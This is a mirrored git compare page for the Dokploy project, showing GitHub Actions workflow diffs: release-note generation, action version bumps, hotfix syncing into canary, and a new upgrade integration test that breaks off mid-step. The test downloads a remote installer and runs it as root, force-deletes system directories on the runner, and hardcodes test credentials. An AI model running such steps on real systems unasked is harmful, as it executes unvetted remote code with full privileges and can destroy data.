mirror of
https://github.com/Dokploy/dokploy.git
synced 2026-10-19 07:01:35 +00:00
Compare commits
246 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 56162eb3e0 | |||
| 64c3a93590 | |||
| fa3cab8bcc | |||
| 31ddd7fe1a | |||
| edc8fc1d7f | |||
| 8f42dced38 | |||
| fc6f4d9af8 | |||
| d183018201 | |||
| 7a0efc7aa4 | |||
| effa3ea502 | |||
| b10cad4f78 | |||
| 65c5ccc7b2 | |||
| cf6f5e39d2 | |||
| 33367fb86b | |||
| 5d1731c54f | |||
| e15b38be38 | |||
| 76c2416613 | |||
| 0ea7de7d31 | |||
| fa788b00a6 | |||
| 41d355c7dc | |||
| ded23bb05f | |||
| 717792f186 | |||
| c0265b49b4 | |||
| b53fface69 | |||
| ff275fe94e | |||
| ca578ed075 | |||
| a691b469a1 | |||
| 6d8aa9d8da | |||
| 3b8611771c | |||
| 2cb499fb64 | |||
| e541308a4f | |||
| b976c7b4f7 | |||
| 7f3a85ac38 | |||
| ac9ad72875 | |||
| d8b7c1ea5e | |||
| d542967ae4 | |||
| aedb35b8df | |||
| 8bc1bd36d8 | |||
| 1b9504897a | |||
| 7b3c5355fa | |||
| 1828e7c276 | |||
| d770e3ce7d | |||
| d583ba8bd3 | |||
| b8e8704493 | |||
| 518ee44ea6 | |||
| f62e41ede6 | |||
| 046a608f8c | |||
| 171c70492d | |||
| a4425cfb1d | |||
| 8e18a8a683 | |||
| fc5b8d03e5 | |||
| 1183c7c4a9 | |||
| dec05aca22 | |||
| 98dbc59a02 | |||
| 95b1afc2c2 | |||
| 52aca4636d | |||
| c741ff36c0 | |||
| 795065810d | |||
| 4bf6dfff13 | |||
| 59ebf809aa | |||
| a1a672b672 | |||
| 92a1f0d0de | |||
| c61163d721 | |||
| a2329aed26 | |||
| f6c1e77279 | |||
| dbe2b38ea9 | |||
| eff6a1865e | |||
| 90e96e1806 | |||
| dc9c67129e | |||
| 561fb43d42 | |||
| 795f6f094e | |||
| 26c871946a | |||
| 65198f6082 | |||
| 07f95a034f | |||
| 2bda2ccc04 | |||
| 1c9a538457 | |||
| 4e18a64da2 | |||
| 3e10a8dd6d | |||
| 63edae4740 | |||
| c2071bbbfd | |||
| 1325a0fccc | |||
| 9412b52172 | |||
| 7825537964 | |||
| 3be9cdfe65 | |||
| fa7a54b4eb | |||
| daba2d7fbc | |||
| b07d7f2005 | |||
| 02edd6abe7 | |||
| a60b0af419 | |||
| 9687224152 | |||
| 86bce3335f | |||
| 37f0bba43f | |||
| 16f0f0eeb4 | |||
| 4d58f3987f | |||
| 3848fa9c0d | |||
| f12ecc3350 | |||
| 3cad115155 | |||
| 34c5b688ac | |||
| 3fbd67fe4d | |||
| 491054f1d9 | |||
| 5492ed12a0 | |||
| cba6ce9c57 | |||
| 8bf1167530 | |||
| 739fd08372 | |||
| 870d592a97 | |||
| 56fdb6151d | |||
| a089870e8b | |||
| 5bcaf9dafb | |||
| f238347ed7 | |||
| 9919e369d1 | |||
| aaf8d7e12f | |||
| 1ccf15f331 | |||
| 4732b38d5a | |||
| c76c5b2f90 | |||
| c6c259f926 | |||
| 1617d07fbd | |||
| e237e34e14 | |||
| 71521f2711 | |||
| 36db6f589a | |||
| 3cefade4a0 | |||
| 5ceb88bebe | |||
| 92b628c8fc | |||
| 790d7c1f36 | |||
| 00d9603209 | |||
| fe85f0f998 | |||
| cf22a0e058 | |||
| c05e6d5a6b | |||
| 286938bbbb | |||
| d39902d575 | |||
| 79b5ff96ca | |||
| 604d9b1004 | |||
| 67fa8e4104 | |||
| c085ec3793 | |||
| f9057d9304 | |||
| f14f12c778 | |||
| 37c8d6477e | |||
| 2003886aa0 | |||
| ce0fe63b4a | |||
| 19958ee9d9 | |||
| 218687f46d | |||
| 63144e6855 | |||
| c8b87c7105 | |||
| 2d7caceeed | |||
| fada032f72 | |||
| be9c8260c6 | |||
| 8ac0e52656 | |||
| 9747e832ac | |||
| ce717a3de6 | |||
| f6622428f7 | |||
| b8822a1fde | |||
| ae2edc79bf | |||
| dced7970ac | |||
| 771d76a57c | |||
| d0eb6ef1ca | |||
| 8637acb56c | |||
| bd92dfb8c1 | |||
| 4791863ff9 | |||
| f633d4b0a3 | |||
| 692c68f013 | |||
| b7db28408d | |||
| 1f73ebd0b0 | |||
| ef0272a4ec | |||
| bd7fb8f23c | |||
| e801b6cda0 | |||
| 05ab210acd | |||
| bc935ae3ad | |||
| 4b90eb0d90 | |||
| b20348908f | |||
| b1795e1d3c | |||
| f08c53c9b7 | |||
| c0694eb5b2 | |||
| c05511db33 | |||
| be71866c96 | |||
| 5c862f7ef4 | |||
| 79af8da827 | |||
| 1de7b515ab | |||
| 6293a39187 | |||
| 91258d00ad | |||
| 65d2853b9e | |||
| f3c7edcfd6 | |||
| fe0a84dde8 | |||
| 6a10923a50 | |||
| d3a873a6f5 | |||
| bcab5b059f | |||
| a8c35f7501 | |||
| 9f69f6cbf9 | |||
| b3e7a8a74c | |||
| 309dd567d6 | |||
| 340687574a | |||
| dd04312470 | |||
| 54272b95b6 | |||
| 27377da6fa | |||
| 6ec530043e | |||
| 3e306e5dba | |||
| 8545a1d9e7 | |||
| d8bb3f406c | |||
| ac57e22b87 | |||
| 94098b2686 | |||
| c9ca719d97 | |||
| 53feb9dd5b | |||
| b50b1d4c86 | |||
| 98af5a2f07 | |||
| 5ed94954e6 | |||
| 3638c7b35b | |||
| 2505c347bc | |||
| 1776e6ad4f | |||
| 9f1ba37e13 | |||
| 60112d84a5 | |||
| 35c30a1210 | |||
| a83b2026f6 | |||
| 7728e5ea9e | |||
| 7ca96f6087 | |||
| c9817da45b | |||
| faf600bd88 | |||
| 012d9596b2 | |||
| e2bbbc86d8 | |||
| 0e3c228c4e | |||
| 52eb38fa48 | |||
| ee802cd54c | |||
| 898af1f74c | |||
| e43d99e796 | |||
| e19dd43293 | |||
| 30c408b130 | |||
| a504449f1d | |||
| eaec68023e | |||
| 2643ae0a86 | |||
| f59f11474b | |||
| f29a1a1976 | |||
| ade7a79bf1 | |||
| 55704ff98f | |||
| 57bb9f27bd | |||
| b9a8064371 | |||
| dc2fc40c38 | |||
| cee674235f | |||
| 60ad78282e | |||
| 3cb0523681 | |||
| 4032895176 | |||
| bb0c59fc5c | |||
| b90279c26a | |||
| 689ae51ee7 | |||
| 9be96d4195 | |||
| f21931da60 | |||
| e802342f57 | |||
| 3e11897762 | |||
| eb80f79862 | |||
| 43f9f545c6 |
@@ -162,13 +162,44 @@ jobs:
|
|||||||
{ head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${{ steps.get_version.outputs.version }}}\""; tail -n +2 install.sh; } > install-pinned.sh
|
{ head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${{ steps.get_version.outputs.version }}}\""; tail -n +2 install.sh; } > install-pinned.sh
|
||||||
mv install-pinned.sh install.sh
|
mv install-pinned.sh install.sh
|
||||||
|
|
||||||
|
- name: Generate release notes
|
||||||
|
# Hotfixes land on main via `git cherry-pick` (hotfix-cherry-pick.yml),
|
||||||
|
# not a PR merged into main, so GitHub's own generate_release_notes
|
||||||
|
# can't associate any PR with these commits and comes back empty.
|
||||||
|
# Build the "What's Changed" list ourselves from the cherry-picked
|
||||||
|
# "Merge pull request #N ..." commit messages instead.
|
||||||
|
env:
|
||||||
|
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
run: |
|
||||||
|
PREV_TAG=$(git describe --tags --abbrev=0 2>/dev/null || echo "")
|
||||||
|
RANGE="HEAD"
|
||||||
|
[ -n "$PREV_TAG" ] && RANGE="${PREV_TAG}..HEAD"
|
||||||
|
|
||||||
|
{
|
||||||
|
echo "## What's Changed"
|
||||||
|
git log "$RANGE" --reverse --format='%s' \
|
||||||
|
| grep -oE '^Merge pull request #[0-9]+' \
|
||||||
|
| grep -oE '[0-9]+' \
|
||||||
|
| while read -r PR; do
|
||||||
|
gh pr view "$PR" --repo "${{ github.repository }}" \
|
||||||
|
--json title,author -q '"* \(.title) by @\(.author.login) in #'"$PR"'"' \
|
||||||
|
2>/dev/null || true
|
||||||
|
done
|
||||||
|
if [ -n "$PREV_TAG" ]; then
|
||||||
|
echo ""
|
||||||
|
echo "**Full Changelog**: https://github.com/${{ github.repository }}/compare/${PREV_TAG}...${{ steps.get_version.outputs.version }}"
|
||||||
|
fi
|
||||||
|
} > release-notes.md
|
||||||
|
|
||||||
|
cat release-notes.md
|
||||||
|
|
||||||
- name: Create Release
|
- name: Create Release
|
||||||
uses: softprops/action-gh-release@v2
|
uses: softprops/action-gh-release@v2
|
||||||
with:
|
with:
|
||||||
tag_name: ${{ steps.get_version.outputs.version }}
|
tag_name: ${{ steps.get_version.outputs.version }}
|
||||||
target_commitish: ${{ github.sha }}
|
target_commitish: ${{ github.sha }}
|
||||||
name: ${{ steps.get_version.outputs.version }}
|
name: ${{ steps.get_version.outputs.version }}
|
||||||
generate_release_notes: true
|
body_path: release-notes.md
|
||||||
draft: false
|
draft: false
|
||||||
prerelease: false
|
prerelease: false
|
||||||
files: install.sh
|
files: install.sh
|
||||||
|
|||||||
@@ -11,7 +11,7 @@ jobs:
|
|||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout code
|
- name: Checkout code
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v5
|
||||||
|
|
||||||
- name: Setup biomeJs
|
- name: Setup biomeJs
|
||||||
uses: biomejs/setup-biome@v2
|
uses: biomejs/setup-biome@v2
|
||||||
@@ -19,4 +19,4 @@ jobs:
|
|||||||
- name: Run Biome formatter
|
- name: Run Biome formatter
|
||||||
run: biome format --write
|
run: biome format --write
|
||||||
|
|
||||||
- uses: autofix-ci/action@635ffb0c9798bd160680f18fd73371e355b85f27 # v1.3.2
|
- uses: autofix-ci/action@c5b2d67aa2274e7b5a18224e8171550871fc7e4a # v1.3.4
|
||||||
|
|||||||
@@ -34,3 +34,16 @@ jobs:
|
|||||||
fi
|
fi
|
||||||
git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]"
|
git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]"
|
||||||
git push origin main
|
git push origin main
|
||||||
|
|
||||||
|
- name: Sync cherry-pick back into canary
|
||||||
|
run: |
|
||||||
|
git config user.name "Dokploy Bot"
|
||||||
|
git config user.email "bot@dokploy.com"
|
||||||
|
git fetch origin canary main
|
||||||
|
git checkout -B canary origin/canary
|
||||||
|
if ! git merge origin/main -m "chore: sync hotfix from main into canary [skip ci]"; then
|
||||||
|
git merge --abort
|
||||||
|
echo "::error::Could not auto-sync the hotfix into canary (real conflict, not just history divergence). Merge main into canary manually to avoid a conflict on the next release PR."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
git push origin canary
|
||||||
|
|||||||
@@ -14,9 +14,9 @@ jobs:
|
|||||||
matrix:
|
matrix:
|
||||||
job: [build, test, typecheck]
|
job: [build, test, typecheck]
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v5
|
||||||
- uses: pnpm/action-setup@v4
|
- uses: pnpm/action-setup@v5
|
||||||
- uses: actions/setup-node@v4
|
- uses: actions/setup-node@v5
|
||||||
with:
|
with:
|
||||||
node-version: 24.4.0
|
node-version: 24.4.0
|
||||||
cache: "pnpm"
|
cache: "pnpm"
|
||||||
|
|||||||
@@ -0,0 +1,437 @@
|
|||||||
|
# Upgrade Integration Test
|
||||||
|
#
|
||||||
|
# Tests that Dokploy can upgrade from version A to version B while keeping
|
||||||
|
# user projects (Postgres, MongoDB, two web apps, one static site) alive.
|
||||||
|
#
|
||||||
|
# Generates upgrade pairs: each stable tag in [floor_version, target_version)
|
||||||
|
# is paired with target_version. If target_version is empty, the highest tag
|
||||||
|
# available on Docker Hub is used as the target.
|
||||||
|
#
|
||||||
|
# Only triggered manually to avoid burning Actions minutes.
|
||||||
|
|
||||||
|
name: Upgrade Integration Test
|
||||||
|
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
inputs:
|
||||||
|
floor_version:
|
||||||
|
description: 'Oldest version tag to include in pairs (e.g. v0.29.4)'
|
||||||
|
required: false
|
||||||
|
default: 'v0.29.4'
|
||||||
|
target_version:
|
||||||
|
description: 'Target version to upgrade to (version B). Leave empty to use the highest available.'
|
||||||
|
required: false
|
||||||
|
default: ''
|
||||||
|
|
||||||
|
env:
|
||||||
|
DOKPLOY_IMAGE: dokploy/dokploy
|
||||||
|
DOKPLOY_SERVICE: dokploy
|
||||||
|
DOKPLOY_PORT: 3000
|
||||||
|
|
||||||
|
# ──────────────────────────────────────────────────────────────────────────────
|
||||||
|
jobs:
|
||||||
|
|
||||||
|
# ── 1. Build the matrix ─────────────────────────────────────────────────────
|
||||||
|
build-matrix:
|
||||||
|
name: Build upgrade pair matrix
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
outputs:
|
||||||
|
pairs: ${{ steps.pairs.outputs.pairs }}
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: Generate pairs
|
||||||
|
id: pairs
|
||||||
|
env:
|
||||||
|
FLOOR: ${{ inputs.floor_version }}
|
||||||
|
TARGET: ${{ inputs.target_version }}
|
||||||
|
run: |
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
# semver "a >= b" comparison helper (vX.Y.Z, strips leading v)
|
||||||
|
ge() {
|
||||||
|
[ "$(printf '%s\n%s\n' "${1#v}" "${2#v}" | sort -V | tail -n1)" = "${1#v}" ]
|
||||||
|
}
|
||||||
|
|
||||||
|
# Fetch all semver tags from Docker Hub (dokploy/dokploy)
|
||||||
|
ALL_TAGS=$(curl -fsSL \
|
||||||
|
"https://hub.docker.com/v2/repositories/dokploy/dokploy/tags?page_size=100" | \
|
||||||
|
jq -r '.results[].name' | \
|
||||||
|
grep -E '^v[0-9]+\.[0-9]+\.[0-9]+$' | \
|
||||||
|
sort -V)
|
||||||
|
|
||||||
|
echo "All tags found:"
|
||||||
|
echo "$ALL_TAGS"
|
||||||
|
|
||||||
|
# Target version (version B): explicit input, else highest available.
|
||||||
|
if [ -n "$TARGET" ]; then
|
||||||
|
TO="$TARGET"
|
||||||
|
echo "Using user-supplied target version: $TO"
|
||||||
|
else
|
||||||
|
TO=$(echo "$ALL_TAGS" | tail -n1)
|
||||||
|
echo "No target supplied; using highest available: $TO"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Floor semver components
|
||||||
|
FLOOR_CLEAN="${FLOOR#v}"
|
||||||
|
IFS='.' read -r F_MAJ F_MIN F_PAT <<< "$FLOOR_CLEAN"
|
||||||
|
|
||||||
|
# Each tag in [FLOOR, TO) → TO
|
||||||
|
PAIRS='[]'
|
||||||
|
while read -r TAG; do
|
||||||
|
[ -z "$TAG" ] && continue
|
||||||
|
# skip tags above-or-equal to the target (incl. the target itself)
|
||||||
|
ge "$TAG" "$TO" && continue
|
||||||
|
TAG_CLEAN="${TAG#v}"
|
||||||
|
IFS='.' read -r T_MAJ T_MIN T_PAT <<< "$TAG_CLEAN"
|
||||||
|
if [ "$T_MAJ" -gt "$F_MAJ" ] || \
|
||||||
|
{ [ "$T_MAJ" -eq "$F_MAJ" ] && [ "$T_MIN" -gt "$F_MIN" ]; } || \
|
||||||
|
{ [ "$T_MAJ" -eq "$F_MAJ" ] && [ "$T_MIN" -eq "$F_MIN" ] && [ "$T_PAT" -ge "$F_PAT" ]; }; then
|
||||||
|
PAIRS=$(echo "$PAIRS" | jq -c \
|
||||||
|
--arg f "$TAG" --arg t "$TO" \
|
||||||
|
'. + [{"from":$f,"to":$t}]')
|
||||||
|
fi
|
||||||
|
done <<< "$ALL_TAGS"
|
||||||
|
|
||||||
|
COUNT=$(echo "$PAIRS" | jq 'length')
|
||||||
|
echo "Total pairs: $COUNT"
|
||||||
|
echo "$PAIRS" | jq -r '.[] | " \(.from) → \(.to)"'
|
||||||
|
|
||||||
|
echo "pairs=$PAIRS" >> "$GITHUB_OUTPUT"
|
||||||
|
|
||||||
|
|
||||||
|
# ── 2. Run one upgrade test per pair ────────────────────────────────────────
|
||||||
|
upgrade-test:
|
||||||
|
name: "${{ matrix.pair.from }} → ${{ matrix.pair.to }}"
|
||||||
|
needs: build-matrix
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
pair: ${{ fromJSON(needs.build-matrix.outputs.pairs) }}
|
||||||
|
|
||||||
|
steps:
|
||||||
|
|
||||||
|
# ── Environment setup ──────────────────────────────────────────────────
|
||||||
|
- name: Free disk space
|
||||||
|
run: |
|
||||||
|
sudo rm -rf \
|
||||||
|
/usr/share/dotnet /opt/ghc /usr/local/share/boost \
|
||||||
|
"$AGENT_TOOLSDIRECTORY" /usr/local/lib/android \
|
||||||
|
/usr/local/share/chromium /opt/hostedtoolcache
|
||||||
|
docker system prune -af --volumes
|
||||||
|
df -h
|
||||||
|
|
||||||
|
# ── Install Dokploy directly at VERSION A ──────────────────────────────
|
||||||
|
# install.sh:
|
||||||
|
# • requires root (run via sudo bash)
|
||||||
|
# • respects DOKPLOY_VERSION → installs that tag directly
|
||||||
|
# (so we don't need a separate "downgrade" step that would risk
|
||||||
|
# running B's migrations on A's expected schema)
|
||||||
|
# • respects ADVERTISE_ADDR → skip the external IP lookup
|
||||||
|
# • initializes Docker Swarm + dokploy-network itself
|
||||||
|
- name: Install Dokploy at VERSION A (${{ matrix.pair.from }})
|
||||||
|
run: |
|
||||||
|
curl -fsSL https://dokploy.com/install.sh -o /tmp/install.sh
|
||||||
|
chmod +x /tmp/install.sh
|
||||||
|
sudo -E env \
|
||||||
|
DOKPLOY_VERSION="${{ matrix.pair.from }}" \
|
||||||
|
ADVERTISE_ADDR="127.0.0.1" \
|
||||||
|
bash /tmp/install.sh
|
||||||
|
|
||||||
|
- name: Wait for dokploy service to converge on ${{ matrix.pair.from }}
|
||||||
|
run: |
|
||||||
|
echo "Waiting for 'dokploy' Swarm service to reach 1/1..."
|
||||||
|
timeout 240 bash -c '
|
||||||
|
until docker service ls --filter name=dokploy \
|
||||||
|
--format "{{.Name}} {{.Replicas}}" \
|
||||||
|
| grep "^dokploy " | grep -q " 1/1"; do
|
||||||
|
sleep 4
|
||||||
|
done
|
||||||
|
'
|
||||||
|
docker service ls
|
||||||
|
echo "✅ Service running on ${{ matrix.pair.from }}"
|
||||||
|
|
||||||
|
- name: Wait for Dokploy API to accept requests
|
||||||
|
run: |
|
||||||
|
timeout 180 bash -c '
|
||||||
|
until curl -sf -o /dev/null \
|
||||||
|
"http://localhost:${{ env.DOKPLOY_PORT }}"; do
|
||||||
|
sleep 3
|
||||||
|
done
|
||||||
|
'
|
||||||
|
echo "✅ Dokploy API is up"
|
||||||
|
|
||||||
|
# ── Bootstrap admin user ───────────────────────────────────────────────
|
||||||
|
- name: Register first admin user
|
||||||
|
id: auth
|
||||||
|
run: |
|
||||||
|
COOKIE_JAR="$RUNNER_TEMP/dokploy-cookies.txt"
|
||||||
|
: > "$COOKIE_JAR"
|
||||||
|
chmod 600 "$COOKIE_JAR"
|
||||||
|
echo "cookie_jar=$COOKIE_JAR" >> "$GITHUB_OUTPUT"
|
||||||
|
|
||||||
|
# better-auth: sign-up/email (allowed only before any owner exists)
|
||||||
|
set -x
|
||||||
|
curl -sS -i -X POST \
|
||||||
|
"http://localhost:${{ env.DOKPLOY_PORT }}/api/auth/sign-up/email" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-c "$COOKIE_JAR" -b "$COOKIE_JAR" \
|
||||||
|
-d '{"name":"CI Admin","email":"ci@dokploy.test","password":"CiTest1234!"}' \
|
||||||
|
| tee /tmp/signup.out
|
||||||
|
set +x
|
||||||
|
|
||||||
|
# Verify we got a session cookie
|
||||||
|
if ! grep -qE '(better-auth|auth)\.session' "$COOKIE_JAR"; then
|
||||||
|
echo "⚠️ No session cookie matched expected name; jar contents:"
|
||||||
|
cat "$COOKIE_JAR"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ── Create test resources ──────────────────────────────────────────────
|
||||||
|
- name: Create project, databases and applications
|
||||||
|
id: create
|
||||||
|
env:
|
||||||
|
BASE: "http://localhost:${{ env.DOKPLOY_PORT }}"
|
||||||
|
COOKIE: ${{ steps.auth.outputs.cookie_jar }}
|
||||||
|
run: |
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
# --- tRPC POST helper ---
|
||||||
|
trpc_mut() {
|
||||||
|
curl -sf -X POST "$BASE/api/trpc/$1" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-b "$COOKIE" -c "$COOKIE" \
|
||||||
|
-d "{\"json\":$2}"
|
||||||
|
}
|
||||||
|
|
||||||
|
# --- Project ---
|
||||||
|
PROJECT=$(trpc_mut project.create \
|
||||||
|
'{"name":"ci-upgrade-test","description":"CI upgrade integration test"}')
|
||||||
|
echo "project.create → $PROJECT"
|
||||||
|
|
||||||
|
# project.create in v0.29+ returns nested {project:{projectId}, environment:{environmentId}}
|
||||||
|
PROJECT_ID=$(echo "$PROJECT" | jq -r \
|
||||||
|
'.result.data.json.project.projectId // .result.data.json.projectId // empty')
|
||||||
|
ENV_ID=$(echo "$PROJECT" | jq -r \
|
||||||
|
'.result.data.json.environment.environmentId // empty')
|
||||||
|
|
||||||
|
if [ -z "$PROJECT_ID" ] || [ "$PROJECT_ID" = "null" ]; then
|
||||||
|
echo "❌ Could not extract projectId from project.create response:"
|
||||||
|
echo "$PROJECT" | jq .
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
if [ -z "$ENV_ID" ] || [ "$ENV_ID" = "null" ]; then
|
||||||
|
echo "❌ Could not extract environmentId — this version may not support environments."
|
||||||
|
echo " project.create response: $PROJECT"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "project_id=$PROJECT_ID" >> "$GITHUB_OUTPUT"
|
||||||
|
echo "env_id=$ENV_ID" >> "$GITHUB_OUTPUT"
|
||||||
|
echo "Detected PROJECT_ID=$PROJECT_ID ENV_ID=$ENV_ID"
|
||||||
|
|
||||||
|
# --- PostgreSQL 15 ---
|
||||||
|
PG=$(trpc_mut postgres.create \
|
||||||
|
"{\"name\":\"ci-pg\",\"appName\":\"ci-pg-db\",\
|
||||||
|
\"databaseName\":\"cidb\",\"databaseUser\":\"ciuser\",\
|
||||||
|
\"databasePassword\":\"CiPg1pass\",\
|
||||||
|
\"dockerImage\":\"postgres:15\",\"environmentId\":\"$ENV_ID\"}")
|
||||||
|
echo "postgres.create → $PG"
|
||||||
|
PG_ID=$(echo "$PG" | jq -r '.result.data.json.postgresId')
|
||||||
|
# deploy (not start) — deploy creates the Swarm service; start only
|
||||||
|
# scales an already-deployed service and 500s on a fresh resource.
|
||||||
|
trpc_mut postgres.deploy "{\"postgresId\":\"$PG_ID\"}" > /dev/null
|
||||||
|
echo "pg_id=$PG_ID" >> "$GITHUB_OUTPUT"
|
||||||
|
|
||||||
|
# --- MongoDB 7.0 ---
|
||||||
|
MG=$(trpc_mut mongo.create \
|
||||||
|
"{\"name\":\"ci-mongo\",\"appName\":\"ci-mongo-db\",\
|
||||||
|
\"databaseName\":\"cidb\",\"databaseUser\":\"ciuser\",\
|
||||||
|
\"databasePassword\":\"CiMg1pass\",\
|
||||||
|
\"dockerImage\":\"mongo:7.0\",\"environmentId\":\"$ENV_ID\"}")
|
||||||
|
echo "mongo.create → $MG"
|
||||||
|
MG_ID=$(echo "$MG" | jq -r '.result.data.json.mongoId')
|
||||||
|
trpc_mut mongo.deploy "{\"mongoId\":\"$MG_ID\"}" > /dev/null
|
||||||
|
echo "mg_id=$MG_ID" >> "$GITHUB_OUTPUT"
|
||||||
|
|
||||||
|
# --- Docker-image application helper ---
|
||||||
|
make_app() {
|
||||||
|
local DISP_NAME=$1 APP_NAME=$2 IMAGE=$3
|
||||||
|
APP=$(trpc_mut application.create \
|
||||||
|
"{\"name\":\"$DISP_NAME\",\"appName\":\"$APP_NAME\",\"environmentId\":\"$ENV_ID\"}")
|
||||||
|
APP_ID=$(echo "$APP" | jq -r '.result.data.json.applicationId')
|
||||||
|
trpc_mut application.saveDockerProvider \
|
||||||
|
"{\"applicationId\":\"$APP_ID\",\"dockerImage\":\"$IMAGE\",\
|
||||||
|
\"username\":\"\",\"password\":\"\",\"registryUrl\":\"\"}" \
|
||||||
|
> /dev/null
|
||||||
|
trpc_mut application.deploy "{\"applicationId\":\"$APP_ID\"}" \
|
||||||
|
> /dev/null
|
||||||
|
echo "$APP_ID"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Static site (nginx)
|
||||||
|
APP_STATIC=$(make_app "ci-static" "ci-static-app" "nginx:alpine")
|
||||||
|
echo "app_static_id=$APP_STATIC" >> "$GITHUB_OUTPUT"
|
||||||
|
|
||||||
|
# Node.js hello-world (echo server image — small, no args needed)
|
||||||
|
APP_NODE=$(make_app "ci-node" "ci-node-app" "ealen/echo-server:latest")
|
||||||
|
echo "app_node_id=$APP_NODE" >> "$GITHUB_OUTPUT"
|
||||||
|
|
||||||
|
# Go HTTP server (traefik/whoami is a tiny Go binary, port 80)
|
||||||
|
APP_GO=$(make_app "ci-go" "ci-go-app" "traefik/whoami:latest")
|
||||||
|
echo "app_go_id=$APP_GO" >> "$GITHUB_OUTPUT"
|
||||||
|
|
||||||
|
echo "✅ All resources created"
|
||||||
|
|
||||||
|
# ── Pre-upgrade health check ───────────────────────────────────────────
|
||||||
|
- name: Wait for all services → 'done' (pre-upgrade)
|
||||||
|
env:
|
||||||
|
BASE: "http://localhost:${{ env.DOKPLOY_PORT }}"
|
||||||
|
COOKIE: ${{ steps.auth.outputs.cookie_jar }}
|
||||||
|
PG_ID: ${{ steps.create.outputs.pg_id }}
|
||||||
|
MG_ID: ${{ steps.create.outputs.mg_id }}
|
||||||
|
APP_STATIC_ID: ${{ steps.create.outputs.app_static_id }}
|
||||||
|
APP_NODE_ID: ${{ steps.create.outputs.app_node_id }}
|
||||||
|
APP_GO_ID: ${{ steps.create.outputs.app_go_id }}
|
||||||
|
run: |
|
||||||
|
wait_done() {
|
||||||
|
local NAME=$1 ENDPOINT=$2 ID_KEY=$3 ID=$4 STATUS_KEY=$5
|
||||||
|
echo "Waiting for $NAME to reach 'done'..."
|
||||||
|
timeout 360 bash -c "
|
||||||
|
until [ \"\$(curl -sf -G '$BASE/api/trpc/$ENDPOINT' \
|
||||||
|
--data-urlencode 'input={\"json\":{\"$ID_KEY\":\"$ID\"}}' \
|
||||||
|
-b '$COOKIE' | \
|
||||||
|
jq -r '.result.data.json.$STATUS_KEY // \"unknown\"')\" \
|
||||||
|
= 'done' ]; do
|
||||||
|
sleep 5
|
||||||
|
done
|
||||||
|
"
|
||||||
|
echo "✅ $NAME is done"
|
||||||
|
}
|
||||||
|
|
||||||
|
wait_done postgres postgres.one postgresId "$PG_ID" applicationStatus
|
||||||
|
wait_done mongo mongo.one mongoId "$MG_ID" applicationStatus
|
||||||
|
wait_done static application.one applicationId "$APP_STATIC_ID" applicationStatus
|
||||||
|
wait_done node-app application.one applicationId "$APP_NODE_ID" applicationStatus
|
||||||
|
wait_done go-app application.one applicationId "$APP_GO_ID" applicationStatus
|
||||||
|
|
||||||
|
- name: Assert Docker Swarm services healthy (pre-upgrade)
|
||||||
|
run: |
|
||||||
|
echo "=== docker service ls ==="
|
||||||
|
docker service ls
|
||||||
|
|
||||||
|
FAIL=$(docker service ls --format '{{.Name}} {{.Replicas}}' | \
|
||||||
|
grep -E '^ci-' | grep -v ' 1/1' || true)
|
||||||
|
if [ -n "$FAIL" ]; then
|
||||||
|
echo "❌ User services not healthy before upgrade:"
|
||||||
|
echo "$FAIL"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
echo "✅ All user services healthy before upgrade"
|
||||||
|
|
||||||
|
# ── Upgrade ────────────────────────────────────────────────────────────
|
||||||
|
- name: Upgrade Dokploy to VERSION B (${{ matrix.pair.to }})
|
||||||
|
run: |
|
||||||
|
docker service update \
|
||||||
|
--image "${{ env.DOKPLOY_IMAGE }}:${{ matrix.pair.to }}" \
|
||||||
|
--force \
|
||||||
|
"${{ env.DOKPLOY_SERVICE }}"
|
||||||
|
|
||||||
|
echo "Waiting for service to converge on ${{ matrix.pair.to }}..."
|
||||||
|
timeout 240 bash -c '
|
||||||
|
until ! docker service inspect dokploy \
|
||||||
|
--format "{{.UpdateStatus.State}}" 2>/dev/null \
|
||||||
|
| grep -q "^updating$"; do
|
||||||
|
sleep 4
|
||||||
|
done
|
||||||
|
until docker service ls --filter name=dokploy \
|
||||||
|
--format "{{.Name}} {{.Replicas}}" \
|
||||||
|
| grep "^dokploy " | grep -q " 1/1"; do
|
||||||
|
sleep 4
|
||||||
|
done
|
||||||
|
'
|
||||||
|
echo "✅ Service running on ${{ matrix.pair.to }}"
|
||||||
|
|
||||||
|
- name: Wait for Dokploy API to respond post-upgrade
|
||||||
|
run: |
|
||||||
|
timeout 180 bash -c '
|
||||||
|
until curl -sf -o /dev/null \
|
||||||
|
"http://localhost:${{ env.DOKPLOY_PORT }}"; do
|
||||||
|
sleep 3
|
||||||
|
done
|
||||||
|
'
|
||||||
|
echo "✅ Dokploy API is up after upgrade"
|
||||||
|
|
||||||
|
# ── Post-upgrade health check ──────────────────────────────────────────
|
||||||
|
- name: Verify all services still healthy (post-upgrade)
|
||||||
|
env:
|
||||||
|
BASE: "http://localhost:${{ env.DOKPLOY_PORT }}"
|
||||||
|
COOKIE: ${{ steps.auth.outputs.cookie_jar }}
|
||||||
|
PG_ID: ${{ steps.create.outputs.pg_id }}
|
